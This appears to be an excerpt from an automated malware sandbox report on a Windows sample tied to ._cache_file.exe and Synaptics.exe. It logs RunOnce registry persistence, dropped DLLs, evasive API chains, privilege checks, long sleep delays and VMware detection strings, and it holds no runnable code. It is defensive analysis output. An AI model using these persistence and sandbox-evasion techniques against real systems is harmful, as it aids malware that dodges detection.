Source: C:\Users\user\Desktop\._cache_file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\directx\websetup\dsetup32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\directx\websetup\dsetup.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dsetup.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\directx\websetup\SET8E7C.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxupdate.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\directx\websetup\SET8EBB.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dsetup32.dll	Jump to dropped file

Source: C:\Users\user\Desktop\._cache_file.exe

Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess

graph_2-3756

Source: C:\Users\user\Desktop\._cache_file.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_2-3055

Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 7640	Thread sleep count: 124 > 30	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 7640	Thread sleep time: -7440000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 4944	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_01001C7F lstrcpyA,lstrcpyA,lstrcatA,lstrcatA,FindFirstFileA,lstrcpyA,lstrcmpA,lstrcmpA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

2_2_01001C7F

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_01004B1A lstrcpyA,GetSystemInfo,lstrcpyA,CreateDirectoryA,RemoveDirectoryA,

2_2_01004B1A

Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000			Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: Amcache.hve.21.dr	Binary or memory string: VMware
Source: Amcache.hve.21.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.21.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.21.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.21.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.21.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.21.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.21.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Synaptics.exe, 00000004.00000002.2284139607.00000000007BB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, dxwsetup.exe, 00000006.00000003.1406374829.0000000001234000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.21.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.21.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.21.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
